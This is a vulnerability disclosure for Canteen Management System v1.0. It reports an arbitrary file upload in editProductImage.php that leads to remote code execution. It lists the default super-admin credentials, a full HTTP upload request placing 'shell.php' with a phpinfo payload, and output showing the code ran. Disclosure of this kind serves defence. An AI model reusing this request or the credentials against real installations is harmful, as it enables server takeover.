

main

...

bug_report / vendors / mayuri_k / canteen-management-system / RCE-1.md



01001000entai Create RCE-1.md

History

1 contributor

53 lines (35 sloc) | 1.87 KB

...

Canteen Management System v1.0 by mayuri_k has arbitrary code execution (RCE)

BUG_Author: Pengxuan Li

vendors: <https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html>

The program is built using the xampp-php8.1 version

Login account: mayuri.infospace@gmail.com/rootadmin (Super Admin account)

Vulnerability url: ip/youthappam/php_action/editProductImage.php?id=1

Loophole location: Canteen Management System's editProductImage.php file exists arbitrary file upload (RCE)

Request package for file upload:

```
POST /youthappam/php_action/editProductImage.php?id=1 HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.88/youthappam/edittest.php?id=1
Cookie: PHPSESSID=lf9hph2449vgrcadcct2jgd8ne
Connection: close
Content-Type: multipart/form-data; boundary=-----8858262292627
Content-Length: 422

-----88582622926272
Content-Disposition: form-data; name="old_image"

-----88582622926272
Content-Disposition: form-data; name="productImage"; filename="shell.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----88582622926272
Content-Disposition: form-data; name="btn"

-----88582622926272--



The files will be uploaded to this directory \youthappam\assets\myimages\



We visited the directory of the file in the browser and found that the code had been executed

INT

SQL BASICSTOOLS• WAF BYPASS• ENCODING• HTML• ENCRYPTION• OTHER• XSS• LFI•

Load URL

Split URL

Execute

192.168.1.88/youthappam/assets/myimages/shell.php|

☐ Post data☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert replacing string

☒ Replace All

PHP Version 8.1.0

System	Windows NT F5 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) AMD
Build Date	Nov 23 2021 21:44:22
Build System	Microsoft Windows Server 2019 Datacenter [10.0.17763]
Compiler	Visual C++ 2019
Architecture	x64
Configure Command	cscript /nologo /e:js c:\windows\system32\cmd.exe /c cscript configure.js "--enable-snapshot-build" "--enable-debug-pdo-oci=.\..\..\instantclient\sdk\shared" "--with-oci8-19=.\..\..\instantclient\src\oci8\php" "--enable-com-dotnet=shared" "--without-analyzer" "--w